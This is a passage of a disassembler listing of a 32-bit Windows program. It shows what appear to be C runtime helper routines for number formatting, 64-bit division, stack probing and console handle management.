ebx jb short loc_41AA92 loc_41AA8C: ; CODE XREF: sub_41A7BD+2C9j mov byte ptr [esi], 2Bh inc esi jmp short loc_41AA9C ; --------------------------------------------------------------------------- loc_41AA92: ; CODE XREF: sub_41A7BD+2C7j ; sub_41A7BD+2CDj mov byte ptr [esi], 2Dh inc esi neg eax adc edx, ebx neg edx loc_41AA9C: ; CODE XREF: sub_41A7BD+2D3j cmp edx, ebx mov edi, esi mov byte ptr [esi], 30h jl short loc_41AAC9 mov ecx, 3E8h jg short loc_41AAB0 cmp eax, ecx jb short loc_41AAC9 loc_41AAB0: ; CODE XREF: sub_41A7BD+2EDj push ebx push ecx push edx push eax call sub_41B310 add al, 30h mov [esi], al inc esi cmp esi, edi mov [ebp+var_10], edx mov eax, ecx mov edx, ebx jnz short loc_41AAD4 loc_41AAC9: ; CODE XREF: sub_41A7BD+2E6j ; sub_41A7BD+2F1j test edx, edx jl short loc_41AAEB jg short loc_41AAD4 cmp eax, 64h jb short loc_41AAEB loc_41AAD4: ; CODE XREF: sub_41A7BD+30Aj ; sub_41A7BD+310j push 0 push 64h push edx push eax call sub_41B310 add al, 30h mov [esi], al mov [ebp+var_10], edx inc esi mov eax, ecx mov edx, ebx loc_41AAEB: ; CODE XREF: sub_41A7BD+30Ej ; sub_41A7BD+315j cmp esi, edi jnz short loc_41AAFA test edx, edx jl short loc_41AB12 jg short loc_41AAFA cmp eax, 0Ah jb short loc_41AB12 loc_41AAFA: ; CODE XREF: sub_41A7BD+330j ; sub_41A7BD+336j push 0 push 0Ah push edx push eax call sub_41B310 add al, 30h mov [esi], al mov [ebp+var_10], edx inc esi mov eax, ecx mov [ebp+var_10], ebx loc_41AB12: ; CODE XREF: sub_41A7BD+334j ; sub_41A7BD+33Bj add al, 30h mov [esi], al mov byte ptr [esi+1], 0 loc_41AB1A: ; CODE XREF: sub_41A7BD+10Bj ; sub_41A7BD+126j cmp [ebp+var_18], 0 jz short loc_41AB27 mov eax, [ebp+var_1C] and dword ptr [eax+70h], 0FFFFFFFDh loc_41AB27: ; CODE XREF: sub_41A7BD+361j xor eax, eax loc_41AB29: ; CODE XREF: sub_41A7BD+D0j ; sub_41A7BD+DDj pop ebx loc_41AB2A: ; CODE XREF: sub_41A7BD+58j pop edi pop esi leave retn sub_41A7BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AB2E proc near ; CODE XREF: sub_41AC23+A2p ; sub_41ACDC+C3p var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi push [ebp+arg_C] mov ebx, eax mov esi, [ebx+4] mov edi, ecx lea ecx, [ebp+var_10] dec esi call sub_40AB59 test edi, edi jnz short loc_41AB7B loc_41AB4E: ; CODE XREF: sub_41AB2E+51j call sub_40F7D4 push 16h pop esi mov [eax], esi xor eax, eax push eax push eax push eax push eax push eax call sub_40CB08 add esp, 14h cmp [ebp+var_4], 0 jz short loc_41AB74 mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh loc_41AB74: ; CODE XREF: sub_41AB2E+3Dj mov eax, esi jmp loc_41AC1E ; --------------------------------------------------------------------------- loc_41AB7B: ; CODE XREF: sub_41AB2E+1Ej cmp [ebp+arg_0], 0 jbe short loc_41AB4E cmp [ebp+arg_8], 0 jz short loc_41AB9F cmp esi, [ebp+arg_4] jnz short loc_41AB9F xor eax, eax cmp dword ptr [ebx], 2Dh setz al add eax, esi add eax, edi mov byte ptr [eax], 30h mov byte ptr [eax+1], 0 loc_41AB9F: ; CODE XREF: sub_41AB2E+57j ; sub_41AB2E+5Cj cmp dword ptr [ebx], 2Dh mov esi, edi jnz short loc_41ABAC mov byte ptr [edi], 2Dh lea esi, [edi+1] loc_41ABAC: ; CODE XREF: sub_41AB2E+76j mov eax, [ebx+4] xor edi, edi inc edi test eax, eax jg short loc_41ABC3 mov eax, esi call sub_41A52B mov byte ptr [esi], 30h inc esi jmp short loc_41ABC5 ; --------------------------------------------------------------------------- loc_41ABC3: ; CODE XREF: sub_41AB2E+86j add esi, eax loc_41ABC5: ; CODE XREF: sub_41AB2E+93j cmp [ebp+arg_4], 0 jle short loc_41AC0F mov eax, esi call sub_41A52B mov eax, [ebp+var_10] mov eax, [eax+0BCh] mov eax, [eax] mov al, [eax] mov [esi], al mov ebx, [ebx+4] inc esi test ebx, ebx jge short loc_41AC0F neg ebx cmp [ebp+arg_8], 0 jnz short loc_41ABF6 cmp [ebp+arg_4], ebx jl short loc_41ABF9 loc_41ABF6: ; CODE XREF: sub_41AB2E+C1j mov [ebp+arg_4], ebx loc_41ABF9: ; CODE XREF: sub_41AB2E+C6j mov edi, [ebp+arg_4] mov eax, esi call sub_41A52B push edi push 30h push esi call sub_40C6F0 add esp, 0Ch loc_41AC0F: ; CODE XREF: sub_41AB2E+9Bj ; sub_41AB2E+B9j cmp [ebp+var_4], 0 jz short loc_41AC1C mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh loc_41AC1C: ; CODE XREF: sub_41AB2E+E5j xor eax, eax loc_41AC1E: ; CODE XREF: sub_41AB2E+48j pop edi pop esi pop ebx leave retn sub_41AB2E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AC23 proc near ; CODE XREF: sub_41ADD4+24p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_1C = byte ptr -1Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 2Ch mov eax, dword_423068 xor eax, ebp mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebx push esi push edi mov edi, [ebp+arg_4] push 16h pop esi push esi lea ecx, [ebp+var_1C] push ecx lea ecx, [ebp+var_2C] push ecx push dword ptr [eax+4] push dword ptr [eax] call sub_41B281 xor ebx, ebx add esp, 14h cmp edi, ebx jnz short loc_41AC73 loc_41AC5B: ; CODE XREF: sub_41AC23+55j call sub_40F7D4 push ebx push ebx push ebx push ebx push ebx mov [eax], esi call sub_40CB08 add esp, 14h mov eax, esi jmp short loc_41ACCD ; --------------------------------------------------------------------------- loc_41AC73: ; CODE XREF: sub_41AC23+36j mov eax, [ebp+arg_8] cmp eax, ebx jbe short loc_41AC5B cmp eax, 0FFFFFFFFh jnz short loc_41AC83 or eax, eax jmp short loc_41AC8E ; --------------------------------------------------------------------------- loc_41AC83: ; CODE XREF: sub_41AC23+5Aj xor ecx, ecx cmp [ebp+var_2C], 2Dh setz cl sub eax, ecx loc_41AC8E: ; CODE XREF: sub_41AC23+5Ej mov esi, [ebp+arg_C] lea ecx, [ebp+var_2C] push ecx mov ecx, [ebp+var_28] add ecx, esi push ecx push eax xor eax, eax cmp [ebp+var_2C], 2Dh setz al add eax, edi push eax call sub_41B109 add esp, 10h cmp eax, ebx jz short loc_41ACB8 mov [edi], bl jmp short loc_41ACCD ; --------------------------------------------------------------------------- loc_41ACB8: ; CODE XREF: sub_41AC23+8Fj push [ebp+arg_10] lea eax, [ebp+var_2C] push ebx push esi push [ebp+arg_8] mov ecx, edi call sub_41AB2E add esp, 10h loc_41ACCD: ; CODE XREF: sub_41AC23+4Ej ; sub_41AC23+93j mov ecx, [ebp+var_4] pop edi pop esi xor ecx, ebp pop ebx call sub_40AB4A leave retn sub_41AC23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ACDC proc near ; CODE XREF: sub_41ADD4+4Ap var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 30h mov eax, dword_423068 xor eax, ebp mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebx push esi mov esi, [ebp+arg_4] push edi push 16h pop edi push edi lea ecx, [ebp+var_1C] push ecx lea ecx, [ebp+var_30] push ecx push dword ptr [eax+4] push dword ptr [eax] call sub_41B281 xor ebx, ebx add esp, 14h cmp esi, ebx jnz short loc_41AD2F loc_41AD14: ; CODE XREF: sub_41ACDC+58j call sub_40F7D4 push ebx push ebx push ebx push ebx push ebx mov [eax], edi call sub_40CB08 add esp, 14h mov eax, edi jmp loc_41ADC5 ; --------------------------------------------------------------------------- loc_41AD2F: ; CODE XREF: sub_41ACDC+36j mov ecx, [ebp+arg_8] cmp ecx, ebx jbe short loc_41AD14 mov eax, [ebp+var_2C] dec eax mov [ebp+var_20], eax xor eax, eax cmp [ebp+var_30], 2Dh setz al cmp ecx, 0FFFFFFFFh lea edi, [eax+esi] jnz short loc_41AD52 or ecx, ecx jmp short loc_41AD54 ; --------------------------------------------------------------------------- loc_41AD52: ; CODE XREF: sub_41ACDC+70j sub ecx, eax loc_41AD54: ; CODE XREF: sub_41ACDC+74j lea eax, [ebp+var_30] push eax push [ebp+arg_C] push ecx push edi call sub_41B109 add esp, 10h cmp eax, ebx jz short loc_41AD6D mov [esi], bl jmp short loc_41ADC5 ; --------------------------------------------------------------------------- loc_41AD6D: ; CODE XREF: sub_41ACDC+8Bj mov eax, [ebp+var_2C] dec eax cmp [ebp+var_20], eax setl cl cmp eax, 0FFFFFFFCh jl short loc_41ADA9 cmp eax, [ebp+arg_C] jge short loc_41ADA9 cmp cl, bl jz short loc_41AD8F loc_41AD85: ; CODE XREF: sub_41ACDC+AEj mov al, [edi] inc edi test al, al jnz short loc_41AD85 mov [edi-2], bl loc_41AD8F: ; CODE XREF: sub_41ACDC+A7j push [ebp+arg_14] lea eax, [ebp+var_30] push 1 push [ebp+arg_C] mov ecx, esi push [ebp+arg_8] call sub_41AB2E add esp, 10h jmp short loc_41ADC5 ; --------------------------------------------------------------------------- loc_41ADA9: ; CODE XREF: sub_41ACDC+9Ej ; sub_41ACDC+A3j push [ebp+arg_14] lea eax, [ebp+var_30] push 1 push eax push [ebp+arg_10] mov eax, esi push [ebp+arg_C] push [ebp+arg_8] call sub_41A564 add esp, 18h loc_41ADC5: ; CODE XREF: sub_41ACDC+4Ej ; sub_41ACDC+8Fj ... mov ecx, [ebp+var_4] pop edi pop esi xor ecx, ebp pop ebx call sub_40AB4A leave retn sub_41ACDC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ADD4 proc near ; CODE XREF: sub_41AE5A+17p ; DATA XREF: sub_4192DC+37o ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp mov eax, [ebp+arg_C] cmp eax, 65h jz short loc_41AE3E cmp eax, 45h jz short loc_41AE3E cmp eax, 66h jnz short loc_41AE02 push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41AC23 add esp, 14h pop ebp retn ; --------------------------------------------------------------------------- loc_41AE02: ; CODE XREF: sub_41ADD4+13j cmp eax, 61h jz short loc_41AE25 cmp eax, 41h jz short loc_41AE25 push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41ACDC jmp short loc_41AE55 ; --------------------------------------------------------------------------- loc_41AE25: ; CODE XREF: sub_41ADD4+31j ; sub_41ADD4+36j push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41A7BD jmp short loc_41AE55 ; --------------------------------------------------------------------------- loc_41AE3E: ; CODE XREF: sub_41ADD4+9j ; sub_41ADD4+Ej push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41A6D1 loc_41AE55: ; CODE XREF: sub_41ADD4+4Fj ; sub_41ADD4+68j add esp, 18h pop ebp retn sub_41ADD4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AE5A proc near ; DATA XREF: sub_4192DCo ; .data:off_423F60o ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41ADD4 add esp, 1Ch pop ebp retn sub_41AE5A endp ; =============== S U B R O U T I N E ======================================= sub_41AE7B proc near ; CODE XREF: sub_41933C+16p push esi push 30000h push 10000h xor esi, esi push esi call sub_41B40F add esp, 0Ch test eax, eax jz short loc_41AEA2 push esi push esi push esi push esi push esi call sub_40CA0C add esp, 14h loc_41AEA2: ; CODE XREF: sub_41AE7B+18j pop esi retn sub_41AE7B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AEA4 proc near ; CODE XREF: sub_41AEE0:loc_41AF04j var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld ds:dbl_41FE48 fstp [ebp+var_10] fld ds:dbl_41FE40 fstp [ebp+var_18] fld [ebp+var_18] fdiv [ebp+var_10] fmul [ebp+var_10] fsubr [ebp+var_18] fstp [ebp+var_8] fld1 fcomp [ebp+var_8] fnstsw ax test ah, 5 jp short loc_41AEDC xor eax, eax inc eax leave retn ; --------------------------------------------------------------------------- loc_41AEDC: ; CODE XREF: sub_41AEA4+31j xor eax, eax leave retn sub_41AEA4 endp ; =============== S U B R O U T I N E ======================================= sub_41AEE0 proc near ; CODE XREF: sub_41933C+5p push offset aKernel32 ; "KERNEL32" call ds:dword_41E0CC ; GetModuleHandleA test eax, eax jz short loc_41AF04 push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax call ds:off_41E0D4 test eax, eax jz short loc_41AF04 push 0 call eax retn ; --------------------------------------------------------------------------- loc_41AF04: ; CODE XREF: sub_41AEE0+Dj ; sub_41AEE0+1Dj jmp sub_41AEA4 sub_41AEE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41AF10 proc near ; CODE XREF: sub_403C7D+8p ; sub_403F55+8p ... push ecx lea ecx, [esp+4] sub ecx, eax sbb eax, eax not eax and ecx, eax mov eax, esp and eax, 0FFFFF000h loc_41AF24: ; CODE XREF: sub_41AF10+29j cmp ecx, eax jb short loc_41AF32 mov eax, ecx pop ecx xchg eax, esp mov eax, [eax] mov [esp+0], eax retn ; --------------------------------------------------------------------------- loc_41AF32: ; CODE XREF: sub_41AF10+16j sub eax, 1000h test [eax], eax jmp short loc_41AF24 sub_41AF10 endp ; =============== S U B R O U T I N E ======================================= sub_41AF3B proc near ; CODE XREF: sub_419FEC+24p xor eax, eax push eax push eax push 3 push eax push 3 push 40000000h push offset aConout ; "CONOUT$" call ds:off_41E05C mov dword_424204, eax retn sub_41AF3B endp ; =============== S U B R O U T I N E ======================================= sub_41AF5A proc near ; DATA XREF: r69pu5ti:0041E2E0o mov eax, dword_424204 cmp eax, 0FFFFFFFFh push esi mov esi, ds:dword_41E0C4 jz short loc_41AF73 cmp eax, 0FFFFFFFEh jz short loc_41AF73 push eax call esi ; CloseHandle loc_41AF73: ; CODE XREF: sub_41AF5A+Fj ; sub_41AF5A+14j mov eax, dword_424200 cmp eax, 0FFFFFFFFh jz short loc_41AF85 cmp eax, 0FFFFFFFEh jz short loc_41AF85 push eax call esi ; CloseHandle loc_41AF85: ; CODE XREF: sub_41AF5A+21j ; sub_41AF5A+26j pop esi retn sub_41AF5A endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AF90 proc near ; CODE XREF: sub_41A7BD+102p arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb add ecx, 1 neg ecx sub edi, 1 mov al, [ebp+arg_4] std repne scasb add edi, 1 cmp [edi], al jz short loc_41AFB7 xor eax, eax jmp short loc_41AFB9 ; --------------------------------------------------------------------------- loc_41AFB7: ; CODE XREF: sub_41AF90+21j mov eax, edi loc_41AFB9: ; CODE XREF: sub_41AF90+25j cld pop edi leave retn sub_41AF90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AFBD proc near ; CODE XREF: sub_41A4D4+15p var_28 = byte ptr -28h var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 28h mov eax, dword_423068 xor eax, ebp mov [ebp+var_4], eax push ebx push esi mov esi, [ebp+arg_0] push edi push [ebp+arg_8] mov edi, [ebp+arg_4] lea ecx, [ebp+var_24] call sub_40AB59 lea eax, [ebp+var_24] push eax xor ebx, ebx push ebx push ebx push ebx push ebx push edi lea eax, [ebp+var_28] push eax lea eax, [ebp+var_10] push eax call sub_41BEFD mov [ebp+var_14], eax lea eax, [ebp+var_10] push esi push eax call sub_41B479 add esp, 28h test byte ptr [ebp+var_14], 3 jnz short loc_41B03A cmp eax, 1 jnz short loc_41B025 loc_41B014: ; CODE XREF: sub_41AFBD+87j cmp [ebp+var_18], bl jz short loc_41B020 mov eax, [ebp+var_1C] and dword ptr [eax+70h], 0FFFFFFFDh loc_41B020: ; CODE XREF: sub_41AFBD+5Aj push 3 loc_41B022: ; CODE XREF: sub_41AFBD+7Bj pop eax jmp short loc_41B054 ; --------------------------------------------------------------------------- loc_41B025: ; CODE XREF: sub_41AFBD+55j cmp eax, 2 jnz short loc_41B046 loc_41B02A: ; CODE XREF: sub_41AFBD+81j cmp [ebp+var_18], bl jz short loc_41B036 mov eax, [ebp+var_1C] and dword ptr [eax+70h], 0FFFFFFFDh loc_41B036: ; CODE XREF: sub_41AFBD+70j push 4 jmp short loc_41B022 ; --------------------------------------------------------------------------- loc_41B03A: ; CODE XREF: sub_41AFBD+50j test byte ptr [ebp+var_14], 1 jnz short loc_41B02A test byte ptr [ebp+var_14], 2 jnz short loc_41B014 loc_41B046: ; CODE XREF: sub_41AFBD+6Bj cmp [ebp+var_18], bl jz short loc_41B052 mov eax, [ebp+var_1C] and dword ptr [eax+70h], 0FFFFFFFDh loc_41B052: ; CODE XREF: sub_41AFBD+8Cj xor eax, eax loc_41B054: ; CODE XREF: sub_41AFBD+66j mov ecx, [ebp+var_4] pop edi pop esi xor ecx, ebp pop ebx call sub_40AB4A leave retn sub_41AFBD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B063 proc near ; CODE XREF: sub_41A4D4+2Ep var_28 = byte ptr -28h var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 28h mov eax, dword_423068 xor eax, ebp mov [ebp+var_4], eax push ebx push esi mov esi, [ebp+arg_0] push edi push [ebp+arg_8] mov edi, [ebp+arg_4] lea ecx, [ebp+var_24] call sub_40AB59 lea eax, [ebp+var_24] push eax xor ebx, ebx push ebx push ebx push ebx push ebx push edi lea eax, [ebp+var_28] push eax lea eax, [ebp+var_10] push eax call sub_41BEFD mov [ebp+var_14], eax lea eax, [ebp+var_10] push esi push eax call sub_41B9BB add esp, 28h test byte ptr [ebp+var_14], 3 jnz short loc_41B0E0 cmp eax, 1 jnz short loc_41B0CB loc_41B0BA: ; CODE XREF: sub_41B063+87j cmp [ebp+var_18], bl jz short loc_41B0C6 mov eax, [ebp+var_1C] and dword ptr [eax+70h], 0FFFFFFFDh loc_41B0C6: ; CODE XREF: sub_41B063+5Aj push 3 loc_41B0C8: ; CODE XREF: sub_41B063+7Bj pop eax jmp short loc_41B0FA ; --------------------------------------------------------------------------- loc_41B0CB: ; CODE XREF: sub_41B063+55j cmp eax, 2 jnz short loc_41B0EC loc_41B0D0: ; CODE XREF: sub_41B063+81j cmp [ebp+var_18], bl jz short loc_41B0DC mov eax, [ebp+var_1C] and dword ptr [eax+70h], 0FFFFFFFDh loc_41B0DC: ; CODE XREF: sub_41B063+70j push 4 jmp short loc_41B0C8 ; --------------------------------------------------------------------------- loc_41B0E0: ; CODE XREF: sub_41B063+50j test byte ptr [ebp+var_14], 1 jnz short loc_41B0D0 test byte ptr [ebp+var_14], 2 jnz short loc_41B0BA loc_41B0EC: ; CODE XREF: sub_41B063+6Bj cmp [ebp+var_18], bl jz short loc_41B0F8 mov eax, [ebp+var_1C] and dword ptr [eax+70h], 0FFFFFFFDh loc_41B0F8: ; CODE XREF: sub_41B063+8Cj xor eax, eax loc_41B0FA: ; CODE XREF: sub_41B063+66j mov ecx, [ebp+var_4] pop edi pop esi xor ecx, ebp pop ebx call sub_40AB4A leave retn sub_41B063 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B109 proc near ; CODE XREF: sub_41A6D1+96p ; sub_41AC23+85p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov ecx, [ebp+arg_C] push ebx push esi mov esi, [ebp+arg_0] xor ebx, ebx cmp esi, ebx push edi mov edi, [ecx+0Ch] jnz short loc_41B13C loc_41B11E: ; CODE XREF: sub_41B109+36j call sub_40F7D4 push 16h pop esi mov [eax], esi loc_41B128: ; CODE XREF: sub_41B109+59j push ebx push ebx push ebx push ebx push ebx call sub_40CB08 add esp, 14h mov eax, esi jmp loc_41B1C1 ; --------------------------------------------------------------------------- loc_41B13C: ; CODE XREF: sub_41B109+13j cmp [ebp+arg_4], ebx jbe short loc_41B11E mov edx, [ebp+arg_8] cmp edx, ebx mov [esi], bl jle short loc_41B14E mov eax, edx jmp short loc_41B150 ; --------------------------------------------------------------------------- loc_41B14E: ; CODE XREF: sub_41B109+3Fj xor eax, eax loc_41B150: ; CODE XREF: sub_41B109+43j inc eax cmp [ebp+arg_4], eax ja short loc_41B164 call sub_40F7D4 push 22h pop ecx mov [eax], ecx mov esi, ecx jmp short loc_41B128 ; --------------------------------------------------------------------------- loc_41B164: ; CODE XREF: sub_41B109+4Bj cmp edx, ebx mov byte ptr [esi], 30h lea eax, [esi+1] jle short loc_41B188 loc_41B16E: ; CODE XREF: sub_41B109+7Aj mov cl, [edi] cmp cl, bl jz short loc_41B17A movsx ecx, cl inc edi jmp short loc_41B17D ; --------------------------------------------------------------------------- loc_41B17A: ; CODE XREF: sub_41B109+69j push 30h pop ecx loc_41B17D: ; CODE XREF: sub_41B109+6Fj mov [eax], cl inc eax dec edx cmp edx, ebx jg short loc_41B16E mov ecx, [ebp+arg_C] loc_41B188: ; CODE XREF: sub_41B109+63j cmp edx, ebx mov [eax], bl jl short loc_41B1A0 cmp byte ptr [edi], 35h jl short loc_41B1A0 jmp short loc_41B198 ; --------------------------------------------------------------------------- loc_41B195: ; CODE XREF: sub_41B109+93j mov byte ptr [eax], 30h loc_41B198: ; CODE XREF: sub_41B109+8Aj dec eax cmp byte ptr [eax], 39h jz short loc_41B195 inc byte ptr [eax] loc_41B1A0: ; CODE XREF: sub_41B109+83j ; sub_41B109+88j cmp byte ptr [esi], 31h jnz short loc_41B1AA inc dword ptr [ecx+4] jmp short loc_41B1BF ; --------------------------------------------------------------------------- loc_41B1AA: ; CODE XREF: sub_41B109+9Aj lea edi, [esi+1] push edi call sub_40C500 inc eax push eax push edi push esi call sub_411470 add esp, 10h loc_41B1BF: ; CODE XREF: sub_41B109+9Fj xor eax, eax loc_41B1C1: ; CODE XREF: sub_41B109+2Ej pop edi pop esi pop ebx pop ebp retn sub_41B109 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B1C6 proc near ; CODE XREF: sub_41B281+24p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] movzx eax, word ptr [edx+6] push ebx mov ecx, eax push esi push edi shr ecx, 4 and eax, 8000h mov edi, 7FFh and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_41B214 cmp ebx, edi jz short loc_41B20D add ecx, 3C00h jmp short loc_41B235 ; --------------------------------------------------------------------------- loc_41B20D: ; CODE XREF: sub_41B1C6+3Dj mov edi, 7FFFh jmp short loc_41B238 ; --------------------------------------------------------------------------- loc_41B214: ; CODE XREF: sub_41B1C6+39j xor ebx, ebx cmp eax, ebx jnz short loc_41B22C cmp edx, ebx jnz short loc_41B22C mov eax, [ebp+arg_0] mov cx, word ptr [ebp+arg_4] mov [eax+4], ebx mov [eax], ebx jmp short loc_41B278 ; --------------------------------------------------------------------------- loc_41B22C: ; CODE XREF: sub_41B1C6+52j ; sub_41B1C6+56j add ecx, 3C01h mov [ebp+var_4], ebx loc_41B235: ; CODE XREF: sub_41B1C6+45j movzx edi, cx loc_41B238: ; CODE XREF: sub_41B1C6+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax or ecx, [ebp+var_4] mov eax, [ebp+arg_0] shl edx, 0Bh test ecx, esi mov [eax+4], ecx mov [eax], edx jnz short loc_41B273 loc_41B254: ; CODE XREF: sub_41B1C6+ABj mov ecx, [eax] mov edx, [eax+4] mov ebx, ecx add edx, edx shr ebx, 1Fh or edx, ebx add ecx, ecx add edi, 0FFFFh test edx, esi mov [eax+4], edx mov [eax], ecx jz short loc_41B254 loc_41B273: ; CODE XREF: sub_41B1C6+8Cj mov ecx, [ebp+arg_4] or ecx, edi loc_41B278: ; CODE XREF: sub_41B1C6+64j pop edi pop esi mov [eax+8], cx pop ebx leave retn sub_41B1C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B281 proc near ; CODE XREF: sub_41A6D1+2Ap ; sub_41AC23+2Ap ... var_30 = dword ptr -30h var_2C = word ptr -2Ch var_2A = byte ptr -2Ah var_28 = byte ptr -28h var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = byte ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 30h mov eax, dword_423068 xor eax, ebp mov [ebp+var_4], eax mov eax, [ebp+arg_C] push ebx mov ebx, [ebp+arg_8] push esi mov [ebp+var_30], eax push edi lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_41B1C6 pop ecx pop ecx lea eax, [ebp+var_2C] push eax push 0 push 11h sub esp, 0Ch lea esi, [ebp+var_10] mov edi, esp movsd movsd movsw call sub_41C5C1 mov esi, [ebp+var_30] mov [ebx+8], eax movsx eax, [ebp+var_2A] mov [ebx], eax movsx eax, [ebp+var_2C] mov [ebx+4], eax lea eax, [ebp+var_28] push eax push [ebp+arg_10] push esi call sub_4117D5 add esp, 24h test eax, eax jz short loc_41B2FB xor eax, eax push eax push eax push eax push eax push eax call sub_40CA0C add esp, 14h loc_41B2FB: ; CODE XREF: sub_41B281+69j mov ecx, [ebp+var_4] pop edi mov [ebx+0Ch], esi pop esi mov eax, ebx xor ecx, ebp pop ebx call sub_40AB4A leave retn sub_41B281 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B310 proc near ; CODE XREF: sub_402BB7+3Dp ; sub_402BB7+56p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebp xor edi, edi xor ebp, ebp mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_41B334 inc edi inc ebp mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_41B334: ; CODE XREF: sub_41B310+Dj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_41B350 inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_41B350: ; CODE XREF: sub_41B310+2Aj or eax, eax jnz short loc_41B37C mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov esi, eax mov eax, ebx mul [esp+0Ch+arg_8] mov ecx, eax mov eax, esi mul [esp+0Ch+arg_8] add edx, ecx jmp short loc_41B3C3 ; --------------------------------------------------------------------------- loc_41B37C: ; CODE XREF: sub_41B310+42j mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_41B38A: ; CODE XREF: sub_41B310+84j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_41B38A div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_41B3B8 cmp edx, [esp+0Ch+arg_4] ja short loc_41B3B8 jb short 